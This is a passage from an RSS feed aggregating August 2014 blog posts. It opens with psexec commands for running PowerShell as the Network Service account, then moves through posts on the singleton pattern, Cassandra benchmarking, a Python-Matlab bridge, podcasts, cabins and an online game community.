Or, if you prefer PowerShell:
&lt;pre&gt;psexec -u "NT AUTHORITY\Network Service" -i powershell&lt;/pre&gt;
&lt;/p&gt;

&lt;p&gt;
Or, if you prefer PowerShell, and a bigger than standard window with some distinguishable color:
&lt;pre&gt;psexec -u "NT AUTHORITY\Network Service" -i powershell -noexit "cd c:\ ; mode con:cols=170 lines=60 ; (Get-Host).UI.RawUI.BufferSize = New-Object System.Management.Automation.Host.Size(170,3000) ; (Get-Host).UI.RawUI.BackgroundColor='DarkCyan' ; clear"&lt;/pre&gt;
&lt;/p&gt;
&lt;br /&gt;
&lt;br /&gt;</description><author>Allan's Blog</author><pubDate>Tue, 26 Aug 2014 12:24:00 GMT</pubDate><guid isPermaLink="true">https://allanrbo.blogspot.com/2014/08/command-prompt-running-as-nt.html</guid></item><item><title>Looking to the Future</title><link>https://zacs.site/blog/looking-to-the-future.html</link><description>&lt;p&gt;Here on this website, I predominantly write about technology: Apple, iOS, the web, code, and the like in a mixture of original articles and link posts. I also put together a weekly collection of excellent podcasts that I, quite creatively, dubbed &amp;#8220;This Week in Podcasts&amp;#8221;. Roughly once a month I write about cabins too, and every so often talk about outdoor gear. The vast majority of the pieces I publish here, however, are at least tangentially related to technology. So if today you have come here looking for one of these articles, perhaps one where I hypothesize as to the future of podcasts or Apple&amp;#8217;s next operating system, you might as well leave now: today I will touch on none of those topics, for I have sat down to, for the first time in quite a while, talk about myself. Myself, and my future.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/looking-to-the-future.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 25 Aug 2014 10:59:48 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/looking-to-the-future.html</guid></item><item><title>Arpad: An ELO Ranking System for Node.js</title><link>https://thomashunter.name/posts/2014-08-25-arpad-an-elo-ranking-system-for-node-js</link><author>Thomas Hunter II</author><pubDate>Mon, 25 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2014-08-25-arpad-an-elo-ranking-system-for-node-js</guid></item><item><title>A brief critique of the singleton pattern</title><link>https://bastian.rieck.me/blog/2014/brief_critique_singleton/</link><description>&lt;p&gt;As a preparation for an upcoming workshop on design patterns, I revisited some of the more common
design patterns. The most infamous one is probably the &lt;a href="https://en.wikipedia.org/wiki/Singleton_pattern"&gt;&amp;ldquo;singleton pattern&amp;rdquo;&lt;/a&gt;. Lauded by some, called an ugly mask for global variables by others, it
certainly seems to divide the community. I, too, am &amp;quot;guilty&amp;quot; of its use.&lt;/p&gt;
&lt;p&gt;As a quick refresher: The singleton pattern refers to a software design pattern in which you enforce
that there is but one instance of a certain class. A somewhat contrived usage example might be an
application that has a central manager that is queried about the state of its objects.&lt;/p&gt;
&lt;h1 id="disadvantages"&gt;Disadvantages&lt;/h1&gt;
&lt;p&gt;So, what are the &lt;em&gt;disadvantages&lt;/em&gt; of this pattern? On the surface, singletons appear to be useful and
rather easy to implement, there are hidden depths. First of all, making a singleton thread-safe is
no easy task. &lt;a href="http://www.aristeia.com/Papers/DDJ_Jul_Aug_2004_revised.pdf"&gt;There is a whole paper, written by none other than Scott Meyers and Andrei
Alexandrescu&lt;/a&gt;, two very prominent
figures of the C++ pantheon, next only to the mighty Stroustroup himself. Furthermore, it is not
easy to guarantee that only one singleton will be created all the time. For example, when using
templates in C++, a templated singleton class might be instantiated for &lt;em&gt;every compilation unit&lt;/em&gt;.
Also, if different threads vie for control over the singleton instance, one needs to look out for
race conditions (although to be honest, this is the whole &amp;quot;singletons are not thread-safe
issue&amp;quot; all over again). Last, I dislike that the singleton pattern somewhat favours tight
coupling between different classes. Since the singleton cannot be changed at runtime, all dependent
classes are &lt;em&gt;bound&lt;/em&gt; to use it. Thus, the singleton instance contains a lot (perhaps too much) state
information that lasts over the &lt;em&gt;complete life-time of the program&lt;/em&gt;.&lt;/p&gt;
&lt;h1 id="advantages"&gt;Advantages&lt;/h1&gt;
&lt;p&gt;So, why use singletons then? When I created one the last time, I thought that the singleton at least
shows the &lt;em&gt;intent&lt;/em&gt; that there should only be one instance of something. For example, if the rest of
your application depends on a class that manages data, there better only be one instance of the data
manager. Or else&amp;hellip;&lt;/p&gt;
&lt;p&gt;Also, the singleton offers a great way for providing a &lt;em&gt;single&lt;/em&gt; point of access towards objects or
methods. I could, for example, enforce that a singleton data manager is &lt;em&gt;locked&lt;/em&gt; until a dependent
class has finished its operation. This leads to (at least in my opinion) cleaner code and less
battles about shared resources.&lt;/p&gt;
&lt;h1 id="an-alternative"&gt;An alternative?&lt;/h1&gt;
&lt;p&gt;Still, the fact that a singleton is basically a global variable in a fancy dress somehow got to me.
Insight came to me one day: Each dependent class (i.e. each class that &lt;em&gt;uses&lt;/em&gt; the singleton for some
operation) is not really interested in knowing that there is only one global instance of the
singleton. The class is only interested in knowing which object needs to be interacted with in order
to perform the operation.&lt;/p&gt;
&lt;p&gt;Again, a slightly contrived example. Suppose we have a game engine with classes for different
creatures. Each creature instance is not interested in whether there is a single global map on which
it appears. Rather, it only needs to know which particular map instances it is a part of. Thus, we
could create a constructor for each creature that requires a pointer to the map class:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Creature::Creature( Map* map )
  : map_( map )
{
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And later on, we could simply peruse &amp;ldquo;our&amp;rdquo; map instance for all operations:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bool Creature::canAttack( Creature* other )
{
  return map_-&amp;gt;isInRange(this, other);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What I immensely liked about this idea was that I do not need to ensure that there is only a single
instance of the map class. Rather, I could &lt;em&gt;create&lt;/em&gt; one instance of the map class prior to starting
any other threads and simply use them for all dependent objects.&lt;/p&gt;
&lt;p&gt;So, what are the advantages of this method? First, this completely circumvents thread problems. If
needed, every method of the map class could use a mutex to ensure that only one thread is currently
using it. But what I like even more is the idea that the implementations are now slightly
exchangeable. If the map class becomes an abstract base class, we could simply use all sorts of
wacky map implementations for the creature class—a map that measures distances on the torus,
for example. If this sounds too contrived to you, let me put it more abstractly: By using only a
pointer at the class constructor, we can swap out implementations (for testing purposes) and make
the coupling between classes more loose.&lt;/p&gt;
&lt;h1 id="conclusionnothing-new-under-the-sun"&gt;Conclusion—nothing new under the sun&lt;/h1&gt;
&lt;p&gt;I thought I had come up with a great new way of combining the power of singletons with my personal
guidelines for clean code. Imagine my shock when I discovered that this technique is known as
&lt;a href="https://en.wikipedia.org/wiki/Dependency_injection"&gt;&amp;ldquo;dependency injection&amp;rdquo;&lt;/a&gt;. Well, I tried.&lt;/p&gt;
&lt;p&gt;Let me end this on a positive note: I do not think that the singleton pattern is necessarily
&amp;quot;evil&amp;quot; or &amp;quot;wrong&amp;quot;. It just seems very easy to abuse or use incorrectly. Writes
the guy who at one time thought that singletons were the best invention since sliced bread.&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Sun, 24 Aug 2014 20:58:47 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2014/brief_critique_singleton/</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts-81814.html</link><description>&lt;p&gt;An unfortunately short list for you this week, curiously, despite the fact that&amp;#160;&amp;#8212;&amp;#160;given my two-week absence&amp;#160;&amp;#8212;&amp;#160;I have no shortage of podcasts queued up awaiting a bit of free time. But, therein lies the problem: as school resumes, I will no longer have the eight hours a day, forty hours each week, that I did over the summer to devote to podcasts. But enough about me&amp;#160;&amp;#8212;&amp;#160;on to the shows you came here to hear about:&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts-81814.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 24 Aug 2014 11:27:32 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts-81814.html</guid></item><item><title>Being Philosophical by Edward St Aubyn</title><link>https://ho.dges.online/words/commonplace/being-philosophical-by-edward-st-aubyn/</link><description>&lt;blockquote&gt;
&lt;p&gt;“But that’s what the English mean, isn’t it, when they say, ‘He was being very philosophical about it’? They mean that someone stopped thinking about it.”&lt;/p&gt;
&lt;/blockquote&gt;</description><author>ho.dges.online</author><pubDate>Sun, 24 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/words/commonplace/being-philosophical-by-edward-st-aubyn/</guid></item><item><title>How to Build Your Own Cabin</title><link>http://www.outsideonline.com/outdoor-gear/gear-shed/How-to-Make-Your-Cabin-Fantasies-a-Reality.html</link><description>&lt;p&gt;A pragmatic approach to something I one day hope to undertake myself: building my own cabin out in the woods. I fully a knowledge that I do not yet have all the experience necessary to do this well, to say nothing for the money, but all in due time.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.outsideonline.com/outdoor-gear/gear-shed/How-to-Make-Your-Cabin-Fantasies-a-Reality.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 23 Aug 2014 11:49:06 GMT</pubDate><guid isPermaLink="true">http://www.outsideonline.com/outdoor-gear/gear-shed/How-to-Make-Your-Cabin-Fantasies-a-Reality.html</guid></item><item><title>How accurate are crowdsourced morphometricians?</title><link>https://jonathanchang.org/blog/how-accurate-are-crowdsourced-morphometricians/</link><description>&lt;p&gt;&lt;em&gt;Previously: &lt;a href="/blog/building-a-web-based-image-markup-system"&gt;Building a web-based image markup system&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
  &lt;p&gt;One of the main goals of my Encyclopedia of Life project is to speed up the collection of phenotypic data through crowdsourcing. However, we cannot expect that the typical crowdsourced worker has the same domain-specific knowledge that an expert scientist has. But does this make a difference when digitizing the shape of fishes?&lt;/p&gt;
  &lt;p&gt;To look for a difference, I constructed an experiment where crowdsourced Amazon Mechanical Turk workers would digitize the same set of 5 images 5 times each. I then asked some expert fish morphologists to digitize the same images using the same instructions. This setup allowed me to examine how consistent marks were for each group of workers, and also compare the two to see if their marks differed on average. The results are below:&lt;/p&gt;
  &lt;p&gt;&lt;img alt="Landmarks by MTurk workers" src="/uploads/2014/08/1_compare.jpg" /&gt;&lt;/p&gt;
  &lt;p&gt;&lt;img alt="Landmarks by experts" src="/uploads/2014/08/2_compare.jpg" /&gt;&lt;/p&gt;
  &lt;p&gt;Can you spot the difference between the two images? The top image shows landmarks averaged across several MTurk workers, while the bottom image is from a fish morphologist following the same protocol. The length of each line indicates the amount of error in each x,y direction.&lt;/p&gt;
  &lt;p&gt;Many landmarks are qualitatively identically marked. However, there is a difference, especially in the fin landmarks. The expert consistently uses the most anterior and posterior fin rays and marks it accordingly; however, turkers will instead tend towards the point that more intuitively defines the shape of the fin.&lt;/p&gt;
  &lt;p&gt;Both approaches are correct in a sense, though they are looking at very different aspects of fish morphology. This discrepancy is in part due to a difference in how turkers interpret the protocol. I am currently working to further refine this protocol in order to reduce this difference and get results that are nearly indistinguishable from traditionally collected data sets.&lt;/p&gt;
  &lt;p&gt;All of our protocols and code are open source, available on GitHub: &lt;a href="https://github.com/jonchang/eol-mturk-landmark"&gt;1&lt;/a&gt; &lt;a href="https://github.com/jonchang/fake-mechanical-turk"&gt;2&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;&lt;em&gt;Many thanks to the Mechanical Turk workers and Tina Marcroft for digitizing images, and Matt McGee, Adam Summers, and Brian Sidlauskas for helping to clarify the protocol.&lt;/em&gt;&lt;/p&gt;</description><author>Jonathan Chang</author><pubDate>Sat, 23 Aug 2014 05:55:46 GMT</pubDate><guid isPermaLink="true">https://jonathanchang.org/blog/how-accurate-are-crowdsourced-morphometricians/</guid></item><item><title>Let's talk about copyright, licencing, and who owns the code</title><link>https://blog.samuellevy.com/post/48-lets-talk-about-copyright-licencing-and-who-owns-the-code.html</link><description>&lt;p&gt;As a freelance developer, the most common conversation I have with new clients is about copyright, licensing, and code ownership. It isn't a well understood area for many people, and many other freelancers who I talk to don't really get it, either. So let's talk.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Copyright&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;In general, when you create something, you are automatically assigned copyright over it. This means that you have the right to determine who, when, and how the thing that you created is copied. For me, as a developer, any code that I write is automatically copyrighted to me. I can, through a general agreement or a contract gi…&lt;/p&gt;</description><author>Sam says you should read this</author><pubDate>Sat, 23 Aug 2014 03:13:19 GMT</pubDate><guid isPermaLink="true">https://blog.samuellevy.com/post/48-lets-talk-about-copyright-licencing-and-who-owns-the-code.html</guid></item><item><title>Zero Value Added</title><link>https://zacs.site/blog/zero-value-added.html</link><description>&lt;p&gt;Shortly after &lt;a href="http://5by5.tv/amplified"&gt;Amplified&lt;/a&gt; started in 2012, I began following The Loop back when Jim Dalrymple served as the site&amp;#8217;s sole writer. With a great sense of humor and an attractive approach to journalism that made no bones about calling people, institutions, and companies out for their often ridiculous shortcomings, the fact that Jim wrote &lt;a href="https://zacs.site/blog/an-amalgamation-of-reviews.html"&gt;great hardware reviews&lt;/a&gt; after Apple events was more a cherry atop the sundae than a driving motivation behind my choice to follow him; before too long, he had become one of my favorite writers, and his site the one location I turned to for a more diverse set of news stories than we in the insular tech community often expose ourselves to.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/zero-value-added.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 22 Aug 2014 15:22:54 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/zero-value-added.html</guid></item><item><title>2014-08-22</title><link>https://ho.dges.online/pictures/2014-08-22/</link><description>&lt;p&gt;Post lockers.&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Fri, 22 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-08-22/</guid></item><item><title>A class to handle all analytics related operations.</title><link>https://prashamhtrivedi.in/integrating_google_analytics.html</link><description>I have created a class that can work as a wrapper for google analytics operations. To initialize, it only needs a context variable. To send events I wrote sendException,sendEvent and sendTime methods, asks analyticsTracker to call respective methods and accept same arguments which can be passed directly to related tracker methods.</description><author>Prasham H Trivedi</author><pubDate>Fri, 22 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://prashamhtrivedi.in/integrating_google_analytics.html</guid></item><item><title>Note on cheap iPhones</title><link>http://ben-evans.com/benedictevans/2014/8/6/note-on-cheap-iphones</link><description>&lt;p&gt;Very interesting point from Benedict Evans at the tail end of this article, where he points out that Apple&amp;#8217;s &lt;em&gt;decision&lt;/em&gt; not to build a larger phone, and the company&amp;#8217;s decision not to enter the mid- to low-end, place it in a very powerful position going forward as those decisions can be reversed at any time. Much more powerful a position than its competitors, because unlike Apple who possess the ability to ship phones with these capabilities but has thus far deigned not to, others have proven wholly incapable of creating the aspects that make Apple&amp;#8217;s products so valuable. Going forward, that ought to cause a great deal of concern amongst some, while a great deal of hope among others.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://ben-evans.com/benedictevans/2014/8/6/note-on-cheap-iphones"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 21 Aug 2014 10:20:06 GMT</pubDate><guid isPermaLink="true">http://ben-evans.com/benedictevans/2014/8/6/note-on-cheap-iphones</guid></item><item><title>Apache Cassandra benchmarking</title><link>https://michael.mior.ca/blog/cassandra-benchmarking/</link><description>&lt;p&gt;I was recently trying to run some benchmarks against &lt;a href="http://cassandra.apache.org/"&gt;Apache Cassandra&lt;/a&gt; on &lt;a href="http://aws.amazon.com/ec2/"&gt;EC2&lt;/a&gt; since unfortunately the servers I had in our machine room were destroyed in a fire.
For all my local testing, I used a single instance running on my desktop machine, but I wanted to ramp things up for the real benchmarks and use three nodes.
Since my workload is read-only and the dataset is fairly small, I also wanted a replication factor of three so each node would have a copy of all the data.&lt;/p&gt;
&lt;p&gt;My first attempt to load all this data was to follow &lt;a href="http://www.datastax.com/documentation/cql/3.0/cql/cql_using/update_ks_rf_t.html"&gt;some documentation&lt;/a&gt; provided by DataStax.
Their suggestion was to use &lt;code&gt;ALTER KEYSPACE&lt;/code&gt; in CQL to change the replication factor, and then simply run &lt;code&gt;nodetool repair&lt;/code&gt; on each node.
However, I found that running repair on just one node took several hours for a modest-sized amount of data (~2GB).
This was a pretty big time sink as I wanted to able to quickly spin up and down a cluster for testing.&lt;/p&gt;
&lt;p&gt;Next I tried changing the configured replication factor locally before exporting the data.
I then simply copied the data to all nodes in the cluster and tried to start them as normal.
This created some weird conflicts as nodes seemed to be confused about who owned what portion of data.&lt;/p&gt;
&lt;p&gt;Finally, I simply loaded up the data set on a single node and configured a replication factor of three.
I then started each node in sequence and the auto bootstrapping process took care of copying the entire dataset to each node in the cluster.
This whole process was complete in less than half an hour.
This approach wouldn’t really work in a production setting since it assumes the node has no existing data (although if you can afford to bring a node offline for a while, I suppose that it might work).
In any case, this solution worked great for me and hopefully someone else finds this useful.&lt;/p&gt;</description><author>Michael Mior</author><pubDate>Thu, 21 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://michael.mior.ca/blog/cassandra-benchmarking/</guid></item><item><title>How to send email programatically from Java to easyname's SMTP server</title><link>https://www.databasesandlife.com/how-to-send-email-programatically-from-java-to-easynames-smtp-server/</link><description>&lt;p&gt;If you want to send email then it&amp;rsquo;s best to do it over the email server that is the authoritative one for the sender email address.&lt;/p&gt;
&lt;p&gt;If you are using &lt;a href="http://www.easyname.com/" rel="noopener noreferrer" target="_blank"&gt;easyname&lt;/a&gt; and want to send email from a Java program from an easyname-controlled email address via easyname&amp;rsquo;s email servers, this is how you do it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Thanks to AndiT. RobinK, DavidZ for pointing out that a better way to do this would be to install a local mail server (MTA) e.g. postfix, send the email from Java to the MTA, and have the MTA send the email to easyname. If easyname experiences a problem, the email will be queued by the MTA. Configuring an MTA is outside the scope of this article :)&lt;/p&gt;</description><author>Databases &amp;amp; Life</author><pubDate>Thu, 21 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.databasesandlife.com/how-to-send-email-programatically-from-java-to-easynames-smtp-server/</guid></item><item><title>How to be Creative in One Simple Step</title><link>http://vintagezen.com/zen/2014/8/1/dz17</link><description>&lt;p&gt;I tweeted a link to this piece right before I left for Canada, but it bears repeating once more in a more formal fashion here: on August 1st, Linus Edwards made a brief reappearance on VintageZen with another installment in his ongoing article series, this time titled &lt;a href="http://vintagezen.com/zen/2014/8/1/dz17"&gt;The Daily Zen #17 &amp;#8220;how to be Creative in One Simple Step&amp;#8221;&lt;/a&gt;. If you, like me, have become disillusioned with &lt;a href="https://zacs.site/blog/the-creativity-racket.html"&gt;the creativity racket&lt;/a&gt;, and especially if you have &lt;em&gt;not&lt;/em&gt; yet realized this, I highly recommend this short piece: Linus makes a great case, and has a fantastic conclusion.&lt;/p&gt;

&lt;p&gt;Plus, as a expletive-filled bonus at the bottom of his post, commenter Dain Miller leveled a criticism not overdue for Linus in particular, but more so the entire faction of writers who love to wax on explaining how difficult writing has become. I will not be so foolish as to deny the difficulty of writing, but I will say that I agree wholly with Dain&amp;#8217;s statement: &amp;#8220;I&amp;#8217;m so sick of people not doing their blogs anymore &amp;#8216;because they don&amp;#8217;t feel like it&amp;#8217;. &amp;#8216;It got hard&amp;#8217; wah wah wah. Fucking christ dude, man the fuck up and do your work. If your goals are really the goals you said they are, or you want to accomplish was what you claimed you did - you wouldn&amp;#8217;t let &amp;#8216;something being inconvenient or a chore&amp;#8217; fucking stop you.&amp;#8221; I 100%, completely, totally, and unequivocally agree.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://vintagezen.com/zen/2014/8/1/dz17"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 20 Aug 2014 10:39:30 GMT</pubDate><guid isPermaLink="true">http://vintagezen.com/zen/2014/8/1/dz17</guid></item><item><title>Star Wars Galaxies: A Community to Remember</title><link>https://benovermyer.com/blog/2014/08/star-wars-galaxies-a-community-to-remember/</link><description>&lt;p&gt;In June of 2003, I began a journey in a galaxy far, far away.&lt;/p&gt;
&lt;p&gt;Star Wars: Galaxies was a massively multiplayer online RPG set in the Star Wars universe, roughly between episodes IV and V. But really, the timing wasn't all that important.&lt;/p&gt;
&lt;p&gt;All that mattered was that the Galactic Empire was at war with the Alliance to Restore the Republic, and that you as a player could either ignore the war or embrace it.&lt;/p&gt;
&lt;p&gt;Almost exactly one year prior to the retail release of the game, I joined a “Player Association” called the Galactic Conglomerate. We gushed about what the game would be like, and how much it would conform to canon, and what we would do once we logged in. Most of us didn't have beta access.&lt;/p&gt;
&lt;p&gt;At the time, I was living in New Zealand, so I wasn't officially supported. The game wasn't available when it was released, so one of my Galactic Conglomerate friends bought it and mailed it to me. To my shame, I don't remember his name, though I did pay him back for it immediately with New Zealand Dollars.&lt;/p&gt;
&lt;p&gt;Regardless, come launch day, I was in the game and playing. It was an experience to be remembered. My character was created as an Artisan, the prototypical crafter from the game. In those days, the game was based around a freeform skill system that allowed you to combine a variety of different “professions” to create your character. I strongly remember specializing in weaponsmithing and carbine use, a combination that wasn't very popular at the time. I spent many hours speculating with my low-level mineral discovery devices so that I could gather enough materials to build the newest type of weapons and armor.&lt;/p&gt;
&lt;p&gt;Over the next few months of release, I spent a lot of time building weapons and armor for my guild, and participating in guild hunts as a carbineer. I used my self-crafted automatic blaster weapons both as my own weapons and as those of my squadmates to take down such worthy enemies as Sharnaffs, which at the time were powerful NPC monsters.&lt;/p&gt;
&lt;p&gt;When the day came that player cities were added to the game, I was ecstatic. I was the architect for my Player Association, so I was charged with building the City Hall that would allow us to create a city on Chilastra, our chosen capital.&lt;/p&gt;
&lt;p&gt;It was a long, arduous process. When I finally hit the button that would complete our City Hall, I was greeted with a message that caused the bottom to drop out of my stomach: “Critical Failure: Assembly has Failed.” Normally, with any other crafting, this would mean that all the materials — including the sub-components — involved the crafting were lost. Due to an early bug in the city-crafting process, though, I was able to bypass the critical failure and complete our City Hall.&lt;/p&gt;
&lt;p&gt;Sadly, we weren't in time to claim one of the ten city slots for Chilastra. In a panic, we hurriedly rushed to &lt;a href="http://swg.wikia.com/wiki/Talus" rel="external"&gt;Talus&lt;/a&gt;, one of the moons of Chilastra. We succeeded in placing our city there, and for the rest of the life of Star Wars: Galaxies, I would occasionally return to that fateful point and reminisce.&lt;/p&gt;
&lt;p&gt;To this day, I think of that first city with a mixture of sadness and happiness.&lt;/p&gt;
&lt;p&gt;On December 15th, 2011, Star Wars: Galaxies' servers were shut down for the last time. I &lt;a href="https://www.youtube.com/watch?v=yVooROmoydM" rel="external"&gt;produced a video&lt;/a&gt; on YouTube to commemorate the occasion, but it didn't really do justice to the memories I had of the game. No MMORPG since then has ever filled the same purpose, and despite the hardships and drama I suffered during the game's life, or maybe because of it, I have never found a community that shares the same kind of experience.&lt;/p&gt;
&lt;p&gt;Last year, John Smedley — the producer of Sony Online Entertainment, the company that made Star Wars: Galaxies — &lt;a href="http://www.reddit.com/r/EQNext/comments/1w2lu2/im_john_smedley_president_of_soe_amaa/" rel="external"&gt;hinted that they were working on something&lt;/a&gt; that would make SWG fans proud. I hope that he's right. Star Wars: Galaxies, for all its myriad flaws, was the best online community I have ever been proud to take part in.&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Wed, 20 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2014/08/star-wars-galaxies-a-community-to-remember/</guid></item><item><title>Forward Agents</title><link>https://www.databasesandlife.com/forward-agents/</link><description>&lt;p&gt;At one company I worked at, we had &lt;strong&gt;&amp;ldquo;customer care agents&amp;rdquo;&lt;/strong&gt; who would answer requests from users, e.g. emails and telephone calls.&lt;/p&gt;
&lt;p&gt;I always thought the name was a bit strange. I suspected it had been created by someone who wasn&amp;rsquo;t a native English speaker, or perhaps I am just disconnected with the world of business terminology. (I am aware that James Bond is &amp;ldquo;secret agent&amp;rdquo; but I had never heard of &amp;ldquo;customer-care agent&amp;rdquo;.)&lt;/p&gt;</description><author>Databases &amp;amp; Life</author><pubDate>Wed, 20 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.databasesandlife.com/forward-agents/</guid></item><item><title>KiraVan</title><link>http://www.wired.com/2014/04/worlds-biggest-rv/</link><description>&lt;p&gt;&lt;a href="https://zacs.site/blog/mercedes-benz-unimog.html"&gt;Speaking of the Mercedes-Benz Unimog&lt;/a&gt;, a modified version of the versatile chassis has been &lt;a href="http://uncrate.com/stuff/kiravan/"&gt;making&lt;/a&gt; &lt;a href="http://www.blessthisstuff.com/stuff/vehicles/misc/kiravan-expedition-vehicle/"&gt;the&lt;/a&gt; &lt;a href="http://gearjunkie.com/kiravan-expedition-vehicle-rv"&gt;rounds&lt;/a&gt; lately in the form of a vehicle its creator, Bran Ferren, dubbed the &amp;#8220;&lt;a href="http://kiravan.net"&gt;KiraVan&lt;/a&gt;&amp;#8221; after his four-year-old daughter, Kira. For those of you more inclined towards this vehicular monster&amp;#8217;s technical specifications, Gear Junkie has &lt;a href="http://gearjunkie.com/kiravan-expedition-vehicle-rv"&gt;a nice rundown&lt;/a&gt;; for everyone else&amp;#160;&amp;#8212;&amp;#160;for everyone, actually, because it explains the projects origins and the reasons behind Bran&amp;#8217;s unwavering dedication to this costly endeavor, Wired has a fantastic article aptly titled &amp;#8220;&lt;a href="http://www.wired.com/2014/04/worlds-biggest-rv/"&gt;The Most Insane Truck Ever Built and the 4-Year-Old Who Commands It&lt;/a&gt;&amp;#8221; that I recommend everyone read. This is an incredible story, and a very admirable one as well.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.wired.com/2014/04/worlds-biggest-rv/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 19 Aug 2014 11:28:42 GMT</pubDate><guid isPermaLink="true">http://www.wired.com/2014/04/worlds-biggest-rv/</guid></item><item><title>Transplant</title><link>https://bastibe.de/2014-08-19-transplant.html</link><description>&lt;p&gt;In academia, a lot of programming is done in Matlab. Many very interesting algorithms are only available in Matlab. Personally, I prefer to use tools that are more widely applicable, and less proprietary, than Matlab. My weapon of choice at the moment is Python.&lt;/p&gt;
&lt;p&gt;But I still need to use Matlab code. There are &lt;a href="http://stackoverflow.com/a/23762412/1034"&gt;a few ways&lt;/a&gt; of interacting with Matlab out there already. Most of them focus on being able to eval strings in Matlab. Boring. The most interesting one is &lt;a href="https://github.com/ewiger/mlab"&gt;mlab&lt;/a&gt;, a full-fledget bridge between Python and Matlab! Had I found this earlier, I would probably not have written my own.&lt;/p&gt;
&lt;p&gt;But write my own I did: &lt;a href="https://github.com/bastibe/transplant"&gt;Transplant&lt;/a&gt;. Transplant is a very simple bridge for calling Matlab functions from Python. Here is how you start Matlab from Python:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;transplant&lt;/span&gt;
&lt;span class="n"&gt;matlab&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;transplant&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Matlab&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This &lt;code&gt;matlab&lt;/code&gt; object starts a Matlab interpreter in the background and connects to it. You can call Matlab functions on it!&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;matlab&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eye&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;([[&lt;/span&gt; &lt;span class="mf"&gt;1.&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mf"&gt;0.&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mf"&gt;0.&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
           &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mf"&gt;0.&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mf"&gt;1.&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mf"&gt;0.&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
           &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mf"&gt;0.&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mf"&gt;0.&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mf"&gt;1.&lt;/span&gt;&lt;span class="p"&gt;]])&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
